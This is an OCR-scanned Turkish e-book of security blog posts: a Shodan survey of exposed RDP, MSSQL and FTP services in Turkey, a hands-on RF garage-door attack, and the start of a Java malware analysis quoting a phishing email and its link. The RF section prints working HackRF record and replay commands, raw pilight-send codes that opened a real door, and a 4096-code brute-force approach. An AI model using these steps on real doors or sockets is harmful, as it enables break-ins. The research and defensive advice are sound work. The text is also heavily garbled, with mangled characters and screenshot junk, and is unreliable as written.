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Merhabalar,

2009 yilinda "Bilgi gugtir ve paylasildikca artar” mottosuyla olusturdugum siber givenlik blogumda
(https://www.mertsarica.com), bilgi givenligi farkindaligini artirma adina gok sayida teknik yaziya
yer vermeye calistim. Yillar iginde Tarkiye'nin dért bir yanindan aldigim olumlu geri dénisler
sonucunda, yvazihlanmi yillar bazinda e-kitap olarak derlemeye ve siber givenlik merakllan ile
paylasmaya karar verdim.

Emek, zaman ve kaynak ayirarak yaptidim bu arastirmalar sonucunda yazdigim bu yazilar, siber
givenlik alaminda kendini gelistirmek isteyenler igin umarnm faydal olur.

Yeni yazilarla goriismek dilegivle...
Saygilanmla,
Mert SARICA

Siber Givenlik Uzmani
https://www.mertsarica.com

Shodan ile Durum Degerlendirmesi

Source: https://www.mertsarica.com/shodan-ile-durum-degerlendirmesi/
By M.S on December 31st, 2015

Bu zamana dek kiigiik ve orta dlgekli isletmelerde (KOBI) galisan veya bir yakini olan arkadaslarimdan 6zellikle bir konu hakkinda ¢ok
fazla yardim istedigini farkettim. Benzer yardim taleplerine Netsec bilgi giivenligi e-posta grubunda da denk geliyorum. Evet, sizlerin
de az ¢ok tahmin edecegi lizere, kullanicilarin/kurumlarin verilerini sifreleyen ve bunun karsiliginda fidye isteyen siber fidyecilerden
bahsediyorum.

Mert bey merhaba, 2 gun énce bagimiz geldi, 2 ay 6ncede istanbuldaki bir
firmaya. Mugteride tum veritabanlarini ve ortak kulannilan dosyalar sifrediler ve
para istiyorlar. Bu konuda 3389 portu haricinde yapilabilecekler, alinmasi
gereken onlemler konusunda yardimci olabilirmisiniz. Vatandaslar Active
Directory icinde kendilerine kullanici yaratip bu kullanici Gzerinden iglem
yapiyorlar ve tum event loglari siliyor. RDP tuzerinden gelebilmesi i¢cin en azindan
en bilindik Administrator sifresini bilmesi gerekiyor. Saglam bir sifreyi nasil
gecebiliyorlar.

Bu siber fidyecilerle ilgili olarak yerli basinda belki farkindalik adina ¢ok sayida habere rastlamiyoruz ancak resmi kaynaklardan
elde edilen bilgiler 1s181inda, hem gergeklestirilen siber saldirilarin sayisina hem de bu saldirganlarin yol agtig1 zararlara baktigimizda,
rakamlarin azimsanamayacak kadar yiiksek oldugunu gorebiliyoruz. Bu tiir saldirilarla karsilaganlarin ¢ogu, kulaktan dolma haberler
ve/veya Onyargilart nedeniyle emniyet miidirliigiiniin bu konuda ¢6ziim iiretemeyecegini disiinerek yetkili mercilere bagvurmaktan
kagiiyorlar. Ancak emniyet miidiirliigiiniin web sayfasina bakacak olursaniz, zaman zaman bu ve benzeri siber ¢etelere / dolandiricilara
kars1 basarili operasyonlara imza attiklarii gorebilirsiniz.


https://www.mertsarica.com/shodan-ile-durum-degerlendirmesi/
https://www.mertsarica.com/shodan-ile-durum-degerlendirmesi/
http://www.netsectr.org/p/netsec-listesi.html
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Yazili ve gorsel medyadsa ¢ikan onlarca habere ve uyariya ragmen sahte polis, savcl ve jandarma kiliginda dolandiricilara para kaptiran
vatandagimizin, siber diinyada var olan tehditlerden haberdar olmasi ve bunlara kars1 6nlem almasi devlet eli olmadan yakin gelecekte
pek miimkiin olacak gibi goriinmiiyor. Géniil ister ki ingiltere'de oldugu gibi belediyelerimizin biinyelerinde birimler kurulsun ve bu
birimler, vatandagimizi, kii¢iik ve orta 6lgekli isletmeler, siber saldirilara karsi korusun, danigsmanlik versin.

Bu fidyecilerin izledikleri yontemlerin basinda Tiirkiye ip blogunu taramak (port scan) ve genele agik servisleri/sunucular1 (RDP,
MSSQL vb.) tespit etmek geliyor. Bu servisleri tespit ettikten sonra ise sozliik saldirist (dictionary attack) ile zayif parolalar tespit edip
sistemlere yonetici yetkisi ile baglantyorlar. Ardindan herkesin bildigi gibi diskte bulunan tiim verileri sifreledikten (encryption) sonra
bir not birakip sistemden ayriliyorlar. Verilerini yedeklemeyen kullanicilar ve KOBiler ise yana yakila bu notta yer alan kisilerle iletisime
gecerek kimi zaman talep edilen bedeli 6demek zorunda kaliyorlar.

Neden bu yontemi kullanmaya devam ediyorlar ? Gergekten internette genele acik olan sistemler, sunucular bu kadar cok mu ? gibi
aklimi kurcalayan sorulara yanit bulmak i¢in ufak bir arastirma yapmaya karar verdim. Tabii bunun i¢in massscan gibi bir arag ile tiim
Tiirkiye ip blogunu tarayip, tespit ettigim sistemlere sozliik saldiris1 gerceklestirmedim :) Aksine tarama islemini benim i¢in yapan
ve dogrulama kontrolii (authentication) yapilmayan sistemleri tespit eden ve rapor ¢ekmeye imkan taniyan Shodan arama motorunu
kullanmaya karar verdim.

Shodan arama motoru temelde Google'dan ¢ok farkli olmayan, interneti tarayip internete agik olan sistemleri, cihazlari, aygitlari tespit
edip bunlar1 baglanti noktasina (port:"3389"), tiiriine (os:"Windows XP", cografi lokasyonuna (country:"TR" gibi) ve servis bilgisine
(Anonymous user logged in) gore siniflandirmaktadir. Bu bilgiler sayesinde de iilke bazinda 6zel aramalar gerceklestirilebilmektedir.
Hatta ve hatta Shodan tarafindan taranan sistemlerin ekran goriintiilerine bile ulasmak miimkiindjir.

Shodan sadece internete agik olan sistemleri cihazlari, aygitlari tespit etmek ile kalmayip Scanhub servisi sayesinde de nmap,
massscan gibi tarama ara¢larimin ¢iktilarini alarak gorsel olarak analiz etmenize de imkan tamimaktadwr. Ornegin bu érnekte
oldugu gibi bir zararli yazilumin haberlestigi komuta kontrol merkezini izleyebilirsiniz.

Shodan iizerinde Scanhub servisine ilave olarak ézellikle sizma testi uzmanlarvin faydalanabilecegi Exploit servisi de
bulunmaktadwr. Bu servis ile Exploit-DB gibi istismar kodlarimnin yayinlandigu siteler iizerinden istismar kodunun ¢esidine ve
hedef uygulamaya gore ¢esitli aramalar yapabilir ve istismar koduna ulasabilirsiniz. (Ornek)

Python, Ruby gibi programlama dillerine hakimseniz, Shodan API sayesinde gelistirmis oldugunuz programiniz/betiginiz ile
Shodan iizerinden aramalar da yapabiliyorsunuz.

Unutmadan Shodan'in temelde iicretsiz bir servis oldugunu ancak kullanacaginiz her bir servis ézelinde detayli arama
sonuglarina ulagmak istediginizde sizden ilave iicretler talep edecegini de hatirlatmakta fayda var. (Ornek: Developer Servisi,

Scanhub Servisi)



http://siberbulten.com/uluslararasi-iliskiler/ingiltere/londra-belediyesi-kobileri-siber-saldirilardan-korumak-icin-yeni-birim-kurdu/
https://www.mertsarica.com/sanal-kusatma/
https://en.wikipedia.org/wiki/Remote_Desktop_Protocol
http://intel security
https://www.shodan.io/
https://images.shodan.io/
https://scanhub.shodan.io/
https://shodanio.wordpress.com/2013/08/17/scanhub-zeus-intro/
https://www.exploit-db.com/
https://exploits.shodan.io/?q=apache+type%3A%22remote%22
https://shodan.readthedocs.org/en/latest/
https://github.com/achillean/shodan-ruby/
https://developer.shodan.io/api
https://developer.shodan.io/pricing
https://scanhub.shodan.io/pricing

[lk olarak anonim kullanic1 (anonymous) yetkisi ile ftp baglantisina izin veren sunucularin/sistemlerin sayisina bakmak istedim. Hatali
konfigiirasyon neticesinde ¢ok sayida bilgiye anonim olarak erisilmesine yol agan bu hesabin veri hirsizlarinin gézdesi oldugunu
sOyleyebiliriz. Tiirkiye ip blogunda anonim kullanici yetkisine izin veren sunuculara/sistemlere baktigimda, saymin azimsanamayacak
kadar fazla oldugunu gérdiim. (1956 sistem/sunucu)

[ cCn https://www.shodan.io 2 ¢ ﬂ‘e =

o SHODAN Enterprise Access

% Exploits

78.186.248.217

Turk Telekom

@ Tukey, Busa 4 -
Cetaiky

Turkey 1839

Sanayi s

Ugur 181

Istanbul m ”

Bursa &

Lz n

Hosting Internet Hizmetieri 5. re

Netinternet Bilgisayar ve Tel 8

Inter Net Bilgisayar Turizm Ti 158

Turk Telekom 120

Radore Veri Merkezi Hizmetl 10

o SHODAN -

% Exploits % Maps

176.41.19.115

Superonline ADSL

[@ Tukey, lzm ] ente
Details
Turkey 17
L
Istanbul n ork Tolokon 230 Anonym sccess granted, restrictions appl
Sanay [ [@ Tukey, Bursa 214-The following commands are recognized (+ = implemente
Bursa 5 Details
kzmir 3
Tekirdag 2
Turk Telekom 43 Hasting Internet Hizmetleri Sanayi ve Ticaret Anon
Radore Veri Merkezi Hizmetl 1"
[ Tukey, Sanayi
Telicom Netrsim Hizmetieri A s " Details
Hosting Internet Hizmetleri 5. L

Doruk lietisim ve Otomasyon 3

= = Please enter anonym as your login username and your e-mail address

Ikinci olarak ise veritabanlarina internetten erisime izin veren aglara bakmaya karar verdim. Bildiginiz gibi kurumsal verilerin
saklandigi veritabanlarinin, bilgi giivenligi adina kisitl bir erigime sahip olmasi gerekmektedir aksi halde zayif parolalar ile korunan
veritabanlarinda yer alan verilerin, art niyetli kisiler tarafindan sozliik saldirisi ile ¢alinmasi miimkiindir. (kullanici:sa sifre:sa gibi)
Bunun i¢in Tiirkiye ip blogunda, Microsoft SQL veritabani sunucusu tarafindan kullanilan 1434. baglant1 noktasina erisim veren ip
bloklarini kontrol ettigimde, saymin anonim ftp erisimine izin veren aglar kadar fazla oldugunu (2521 sistem/sunucu) oldugunu gordiim.
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Son olarak fidyeciler tarafindan hedef sistemlere uzaktan baglanmak i¢in siklikla kétiiye kulanilan RDP (remote desktop) servisini
internete agan sistemleri kontrol ettigimde ise 34.314 tane sistem ile karsilasmam, siber fidyecilerin neden bu yontemi hala kullanmaya
devam ettiklerini ve basarili olduklarini agikca ortaya koyuyordu.
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Siber fidiyecilere kars1 hem KOBIler'in hem de son kullanicilarin daha dikkatli olmas1 gerekmektedir. Bunun igin éncelikle modem
ayarlarinizdan hangi sistemlerinizin ve baglanti noktalarinin, servislerin internete/dis diinyaya agik oldugunu tespit etmeniz faydali
olacaktir. Tkinci olarak ise RDP ve MSSQL kullanic1 hesaplarma ait sifrelerin, gii¢lii, karmasik ve tahmin edilmesi gii¢ olmasi,
fidyeciler tarafindan hedef alinmanizi zorlastiracaktir. Son olarak ise kullanilan sistemlerin sikilastirilmasi (hardening, giincel yamalarin
yiiklenmesi vb.), gereksiz baglanti noktalarinin ve servislerin dis diinyaya kapatilmasi, iizerine yogunlagsmaniz gereken bir diger 6nemli
noktadir.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

The post Shodan ile Durum Degerlendirmesi appeared first on Hack 4 Career - Siber Giivenlik Giinligii.

RF Diinyasi ve Giivenlik

Source: https://www.mertsarica.com/rf-dunyasi-ve-guvenlik/



https://www.mertsarica.com/shodan-ile-durum-degerlendirmesi/
https://www.mertsarica.com
https://www.mertsarica.com/rf-dunyasi-ve-guvenlik/
https://www.mertsarica.com/rf-dunyasi-ve-guvenlik/

By M.S on February 1st, 2016

Cocuklugumdan beri uzaktan kumanda ile kumanda edilebilen garaj kapilar1 her zaman ilgimi ¢ekmistir. Yasim ilerledik¢e ve
meslegimde de ilerledik¢e, merakimi pratige doniistirmeye ve RF ile haberlesen bu sistemleri, giivenlik arastirmacisi goziiyle
incelemeye karar verdim.

Kumanda ile kapilar nasil haberlesiyor, sinyalleri izlemek miimkiin mii, deneme yanilma (brute force) saldiris1 veya daha once
gonderilmis ve kayit altina alinmis sinyalleri tekrarlama (replay) saldirisi ile tekrar gondererek kapilari agmak miimkiin olabilir mi ?
gibi sorular1 kendi kendime sormaya basladik¢a, kendimi RF okyanusunu kayikla gegcmeye calisan cesur, hevesli ama tecriibesiz bir
denizci olarak gdérmeye baglamistim.

Yillar iginde RF ile ilgili ¢ok sayida makale okudukga, bilgim ile birlikte aklim1 kurcalayan sorular da bir o kadar artti. Tam bu sorular
altinda ezilmeye baslamisken, imdadima NOPcon giivenlik konferansinda da sunumunu izleme firsat1 buldugum Ahmet CIHAN vyetisti
ve RF diinyasinin sis perdesi benim igin aralanmis oldu.

2014 yilindan bu yana, bikmadan usanmadan RF diinyast ile ilgili aklima takilan tiim sorulara gece giindiiz demeden, i¢tenlikle
yanit verdigi ve bugiin bu yaziyi kaleme alabilmemde fazlasiyla emegi gectigi icin Ahmet CIHAN'a tesekkiirii bir borg bilirim :)

Yazinin ikinci paragrafinda belirtmis oldugum sorulara yanit aradigim bu ¢alismada, ilk isim sirasiyla kumandanin hangi frekansta
calistigint bulmak (biiyiik olasilikla 433 MHZ'dir ancak 315 MHZ de olabilir.) ve hangi modiilasyonu kullandigimi bulmak (biiyiik
ihtimalle Amplitude-Shift Keying (ASK)'dir ancak FSK, PSK da olabilir.) oldu.

Yakin zamanda okudugum Abusing the Internet of Things kitabinin yazari, modiilasyonu giizel bir benzetmeyle anlatmisti. Ayni
benzetme iizerinden ilerleyecek olursam, agzimizdan ¢ikan basing dalgalar, karsi tarafa ulasirken hava dedigimiz bir ortamda
ilerlemektedir. Bu ornege gore agzimizdan ¢ikan basing dalgasinin, havada ilerleyecek dalgaya cevrilmesine (radyo sinyaline)
modiilasyon diyoruz. Bu dalganin (radyo sinyalinin), karsi tarafa iletilmesi esnasinda kullandigi baska bir dalgaya ise tasiyici
sinyal (carrier wave) diyoruz.

Kumandanin hangi frekansta calistigmmi bulmak icin kumandanin i¢ini agip rezonatdriin iizerinde yazan rakama (R433T gibi)
bakabilirdim. Tornavida ile ¢ok fazla ugrasmak istemedigim i¢in Deal Extreme'den 10$'a satin aldigim RTL2832U dijital tv alicisi ve
iicretsiz temin edilebilen HDSDR programi ile frekansi tespit etmeye karar verdim.

Dijital TV alicty1 USB baglant1 noktasina bagladiktan ve HDSDR programini c¢alistirdiktan sonra frekansi 433 MHZ'e (ISM bant
planlamasi geregi tahmin yiiriittiim), modiilasyonu ise AM olarak ayarlayip F2 (start) tusuna bastigimda, kumandanin ilgili band1 ve
frekansi kullandigin1 gérdiim. (Kumanda iizerinde herhangi bir butona bastiginizda, ilgili frekansta bir hareketlilik goriiyorsaniz bu
durum, kumandanin ilgili frekansta veya o frekansa yakin bir frekans araliginda ¢alistigina isaret etmektedir.)

a & H b



https://tr.wikipedia.org/wiki/Radyo_frekans%C4%B1
http://www.signalsec.com/blog/nopcon-2013-un-ardindan/
https://twitter.com/hurbyachurby
https://twitter.com/hurbyachurby
https://tr.wikipedia.org/wiki/Mod%C3%BClasyon
http://www.amazon.com/Abusing-Internet-Things-Blackouts-Freakouts/dp/1491902337
http://www.ansiklopedim.net/r/rezonator.html
http://www.dx.com/p/rtl2832u-r820t-mini-dvb-t-dab-fm-usb-digital-tv-dongle-black-170541#.Vp6Okfl95sc
http://www.hdsdr.de/
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Modiilasyonu tespit etmek i¢in ise HDSDR'de kayit ettigim sinyali Audacity adindaki iicretsiz ses diizenleme ve kaydetme yazilimi ile
inceledigimde bunun ASK / OOK oldugunu goérdiim. Sadece kumandada yer alan mikro anahtar dizisine (dipswitch) bakarak, gonderilen
sinyalin 10 bit olabilecegini diistinebilirdim ancak kayit ettigim sinyale Audacity ile baktigimda, bunun aslinda 12 bit oldugunu gérdiim.
(Sondaki bit ile aslinda 13 bit gibi goriinse de 12 bit oldugunu ve son bitin altbaslik (footer) oldugunu yazinin devaminda goreceksiniz.)
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Sinyali kendi iginde ¢oziimleyip, asagidaki resimde oldugu gibi yiiksek, algak ve agik isaretleri, 0, 1 ve O seklinde veriye ¢evirdigimde,
mikro anahtar dizisi ile Ortiistiigiinii ve basarili bir sekilde sinyali veriye gevirdigimi kisaca kumanday1 kopyalayabilecek veriye (rf
koduna) sahip oldugumu gorebildim.


http://audacityteam.org/
https://en.wikipedia.org/wiki/On-off_keying

Bundan sonra gerisi ister Arduino, ister Raspberry Piile veriyi ASK ile modiile edip, garaj kapisina gondermeye kalmisti. Tabii bunun i¢in

oncelikle 38'1 gézden ¢ikarip bir RF alic1 ve verici kiti almam gerekti. (Bu gibi giivenlik aragtirmalarinda zahmete giremem diyenleriniz
var ise, benim gibi 330$ verip HackRF One kiti alarak tim bu zahmetten kurtulabilirler. Bu arada iicretsiz Software Defined Radio
(SDR) ve HackRF One egitimine de buradan ulasabilirsiniz.)

Oncelikle HackRF One cihazina o kadar para verdigim icin isleri ne kadar kolaylastirabilecegini tecriibe etmek istedim. Bunun igin daha
onceden RF aragtirmalarinda kullanmak i¢in satin aldigim RF prizleri lizerinde bir ¢aligma gergeklestirdim. RF prizlerin kumandasini
Hack RF One aygitinin antenine tutup, kumanda iizerinde yer alan ve prize elektrik akimi1 vermek i¢gin kullanilan butona (ON) basili
tutmaya basladiktan sonra asagidaki komut ile HackRF One'in génderilen sinyalleri asagidaki videoda yer aldig: lizere kolaylikla kayit
altina aldim.

hackrf transfer -r Funk-433Mhz-8M-8bit.bin -f 433000000 -s 8000000 -1 40


https://www.arduino.cc/
https://www.raspberrypi.org/
http://www.emartee.com/product/41669/433Mhz%20RF%20Link%20Kits
https://greatscottgadgets.com/hackrf/
https://greatscottgadgets.com/sdr/
https://github.com/mossmann/hackrf/wiki

Sinyalleri 30 saniye kadar kayit ettikten sonra asagidaki komutu calistirarak, HackRF One aygitinin kayit ettigi sinyalleri RF prize
gondermesini sagladim. Kisa bir siire sonra RF prize bagli lambanin yandigini ve sinyalin HackRF One ile ¢ok kolay bir sekilde
tekrarlanabildigini (REPLAY) tecriibe ettim.

hackrf transfer -t Funk-433Mhz-8M-8bit.bin -f 433000000 -s 8000000 -x 47

HackRF One yerine Raspberry Pi ile ilerlemek isteyenler ise 3$'a satin alacaklar1 RF alici ve vericiyi Raspberry Pi'nin GPIO pinlerine
bagladiktan sonra pilight adindaki ve akilli cihazlar1 Raspberry Pi lizerinden yonetmek igin gelistirilmis olan bu aragtan faydalanabilirler.

Raspberry Pi2 GPIO Header

Pin# NAME  Pin#
01 . DC Power S5v 02
03 () DC Power Sv 04
05 O Ground 06
o7 . (TXDO) GPIO14 08
09 Ground o (o) XD0) GPIO1S 10
1 GPIO17 (GPIO_GENQ) ol e (GPIO_GEN1) GPIO18 12
13 GPI027 (GPIO_GEN2) el e Ground 14
; GPIO22 ol e EN4) GPIO23 16
7 3.3v DC Power ole _GENS) GPIO24 18
19 GPIO10 0) Ground 20
2 GPIO09 (5 ol e GPIO_GEN6) GPIO25 22
23 GPIO11 (SPI_CLK) OO (SF 1) GPIO08 24
2 Ground [y (O S 1_N) GPIOOT7 26
27 ID_SD (*C 1D EEPROM) [ROMO] D EEPROM) ID_SC 28
2¢ GPIOOS ele Ground 30
31 GPIO06 ole GPIO12 32
GPIO13 30 Ground 34

35 GPIC19 (] GPIO16 36

GPIO26 . GPIO20
39 Ground . GPIO21 40
i http:/Awww.elementid.com

Raspberry Piile ilerlemek i¢in ilk olarak pilight-debug komutu ile RF sinyallerini dinlemeye baslayan pilight araci ile garaj kumandasinin
kap1 agma butonuna basildiginda gonderdigi sinyali (RF kodunu) kayit altina aldim. Ardindan da pilight-send -p raw -c komutu ile tespit
ettigim RF kodunu kapiya gondererek asagida yer alan videoda goriilecegi iizere kapiy1 basariyla agabildim :)


https://github.com/mossmann/hackrf/wiki
https://www.pilight.org/

« Kali (WIFI) x | & Kali (WIF) b

pulse: 2 7
rawlen: 50

pulselen: 256

Raw code:

512 256 512 256 512 512 256 256 512 512 256 256 512 512 256 256 512 512 256 256 768 256 256 256 512 256 512
256 512 512 256 256 512 256 512 256 512 256 512 256 512 512 256 256

--[RESULTS]--

Time: Sun Nov 15 10:43:21 2015
hardware: 433gpio

pulse: 2

rawlen: 50

pulselen: 253

Raw_code:

506 253 506 253 506 506 253 253 506 506 253 253 506 506 253 253 506 506 253 253 506 506 253 253 506 253 506
25% 506 50? 253 253 506 253 506 253 506 253 506 253 506 506 253 253
==[RESULTS] -~

Time: sun Nov 15 10:43:21 2015
hardware: 433gpio

pulse: 2

rawlen: 50

pulselen: 255

Raw code:

510 255 510 255 510 510 255 255 510 510 255 255 510 510 255 255 510 510 255 255 510 510 255 255 510 255 510
25% 510 51? 255 255 510 255 510 255 510 255 510 255 510 510 255 255
==[RESULTS] -~

Time: Sun Nov 15 10:43:21 2015
hardware: 433gpio

pulse: 2

rawlen: 49

pulselen: 256

Raw code:
512 256 512 256 512 512 256 256 512 512 256 256 512 768 256 512 512 256 256 512 512 256 256 512 256 512 256
512 512 256 256 512 256 512 256 512 256 512 256 512 512 256 256

Acroot@kali:~# pilight-send -p raw -c 510 255 510 255 510 510 255 255 510 510 255 255 510 510 255 255 510 5
255 255 510 510 255 255 510 255 510 255 510 510 255 255 510 255 510 255 510 255 510 255 510 510 255 25§ * v
ssh2: AES-256-CTR 42 114 42 Rows, 124 Cols  VT100 CAP. NUM

pilight araci ile ayn1 sistemi ve benzer kod dizilimini kullanan garaj kapilarina deneme yanilma (brute-force) saldiris1 yapmak pratikte
ne kadar kolay sorusuna yanit bulmak i¢in ise dncelikle RF kodunu 1, 0 ve O seklinde grupladim. (Gruplama ile ilgili 6rnekler ve detayli
bilgi i¢in pilight'in wiki sayfasindan faydalanabilirsiniz.)

(Sanstirlenmistir) O

5102555102551
5105102552550
5105102552550
5105102552550
5105102552550
5105102552550
5102555102551
5105102552550
5102555102551

5102555102551
5105102552550

(Sansiirlenmigtir) altbaslik (footer)

Kumandanin 12 bit uzunlugunda bir sinyal gonderdigini bildigim i¢in 1 olan degerlerin 0, 0 olan degerlerin 1 olacagini ve ilk bit olan
O'nun da bir farkli degere sahip olabilecegini (kisaca yliksek ise diisiik, diisiik ise yiiksek isaret gibi) goz oniinde bulundurarak, bu garaj
kapisinin kapiy1 agmak igin 2 tizeri 12 yani 4096 farkli RF kodundan birini kabul edecegini hesaplamam pek zor olmadi.

Python ile daha 6nceden hazirlamig oldugum 4096 tane RF kodunu, pilight arac1 ile garaj kapisina gonderen Garage Door Bruteforcer
isimli bir ara¢ hazirladim. 3 dakika sonunda bu aracin, garaj kapisina 500 tane RF kodu gonderebildigini gérdiim. (Basit bir hesaplama ile
bu aracin, garaj kapisini agacak kodu ~30 dakikada tiretebilecegini sdyleyebiliriz. OpenSesame gibi bir cihaz ile ise bu siireyi saniyeler
mertebesine indirmek de miimkiindiir.)

10


https://wiki.pilight.org/doku.php/arctech_switch
https://www.mertsarica.com/codes/pilight-bf.py
http://samy.pl/opensesame/
http://samy.pl/opensesame/garage.gif

« Kali (WIFl) x 4 b

GNU nano

B pilight-send -p raw -c " 600 200 600 200 600 600 200 200 600 600 200 200 600 600 200 200 600 600 200 200 6%
# pilight-send -p raw -c " 600 200 600 200 600 600 200 200 600 600 200 200 600 600 200 200 600 600 200 200 6%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 €00 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 €00 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 &00 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 €00 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 €00 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 &00 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 &00 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 €00 200 600 200 600 600 200%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 600 200 200 600 200 600%
200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 600 200 €00 600 200 200 600 200 600%
1 OF nes format)

6 writeout

Xe Get Help =
Justify

Exit

Cut Text B cur Pos
Bl unCut Text @l To spell v

ay where Is

Bu tiir saldirilara baktigimizda, deneme yanilma saldirilar ve tekrarlama saldirilarinin statik kod kullanan RF alicilara karsi basarili
oldugun goriiyoruz. Glinlimiizde iiretilen modern araba kilit ve kumanda sistemlerine, alarm sistemlerine, garaj kap1 sistemlerine
baktigimizda ise ¢ogunun giivenli olarak kabul ettigimiz degisken (rolling) kod kullandigini gorebiliriz. Sonug olarak bu tiir saldirilara
kars1 degisken kod kullanan sistemleri kullanmak dogru bir tercih olacaktir.

Bu yazinin RF diinyasina adim atmak isteyen giivenlik uzmanlart ve giivenlik aragtirmacilari i¢in faydali olacagini iimit ederek, bir
sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post RF Diinyasi ve Giivenlik appeared first on Hack 4 Career - Siber Giivenlik Glinligi.

Java Kaynak Kodu Donustiiciileri

Source: https://www.mertsarica.com/java-kaynak-kodu-donustuculeri/
By M.S on March 1st, 2016

Bayt kodu seviyesinde ¢alismanin kimi zaman zorlayict olduguna hak veriyorum. Mevzu bahis bir Java zararlt yazilimini analiz etmek
oldugunda, eldeki class dosyalarini Java kaynak koduna ¢evirmek, ¢cogu analistin izleyecegi adimlarin baginda yer aliyor. Ancak Temmuz
aymdaki yazimda (Java Bayt Kod Hata Ayiklamasi) da bahsettigim iizere, gizleme (obfuscator) aracindan (Allatori gibi) faydalanan bir
zararlt yazilim ile kars1 karsiya kaldiginizda, kaynak koduna doniistiiriiciileri (JD gibi) cogu zaman sizi yar1 yolda birakabiliyor.

Aralik ay1 gibi, sahte bir e-posta ile hacklenmis oldugunu diisiindiigiim bir web sitesi {izerinden indirilmesi saglanan ve her indirilme
isteginde, farkl bir sifre ile paketlenen siparisler.rar (siparisler.jar) adinda bir Java zararli yazilimi dikkatimi ¢ekti.

From: nfo@kiralmobilya.com.r [mailto: info@satodoor. com.tr]
Sent: Monday, December 14, 2015 11:12 AM

To:

Subject: MERHABALAR

Importance: High

Sipanglerimize http /furfabocekilaclama com/sipans Adresimizden ulagabilirsiniz .. Toplamda 7' Kalem Sipangimiz bulunmaktadir. Kontrol Edip Uygun bir Fiyat Listesi Cikarabilirseniz sevininm

Tel : (232) 244 42 33
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https://www.mertsarica.com/rf-dunyasi-ve-guvenlik/
https://www.mertsarica.com
https://www.mertsarica.com/java-kaynak-kodu-donustuculeri/
https://www.mertsarica.com/java-kaynak-kodu-donustuculeri/
https://www.mertsarica.com/java-bayt-kod-hata-ayiklamasi/
http://www.allatori.com/
http://jd.benow.ca/

s e cE— 0544

* CH srfabocekilacama.com, X

Siparigler

Dosya Hazir, indirme islemine Baslayabilirsiniz...

Siparigleri Indir

Allatori gizleme aracinin giiglii 6zelliklerinden (uzun sinif ve metod isimleri, AUX gibi rezerve isimler vs.) faydalanarak olusturulan bu

JAR paketi i¢inde yer alan class dosyalarina baktigimda, dosya isimlerinin ~8000 hane uzunlugunda oldugunu gérdiim.

Bu uzun dosya isimleri sayesinde zararli yazilimi Winrar, 7zip, unzip gibi araglarla isletim sistemine agmak (extract) istedigimde, igletim
sistemi sinirlarina takildigimi ve dosyalari agamadigumi farkettim. Ayrica uzun dosya isimleri ve metod isimleri nedeniyle ¢ogu kaynak
kod doniistiiriiciisiiniin (CFR hari¢) bu dosyay1 kaynak koduna ¢evirme islemi esnasinda hata aldigini gérdiim.
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http://www.allatori.com/doc.html

= siparisler.jar - WinRAR (evaluation copy) = L

=L BT T L

Add Extract To Test View  Delete Find  Wizard Info  VirusScan Comment SFK

E siparisler.jar - ZIP archive, unpacked size 846.630 bytes

Name ’ Size Packed Type Modified Obfuscation by Allatori Obfuscator http://www.allat

A 1 WinRAR: Diagnostic messages =R _
b Message A
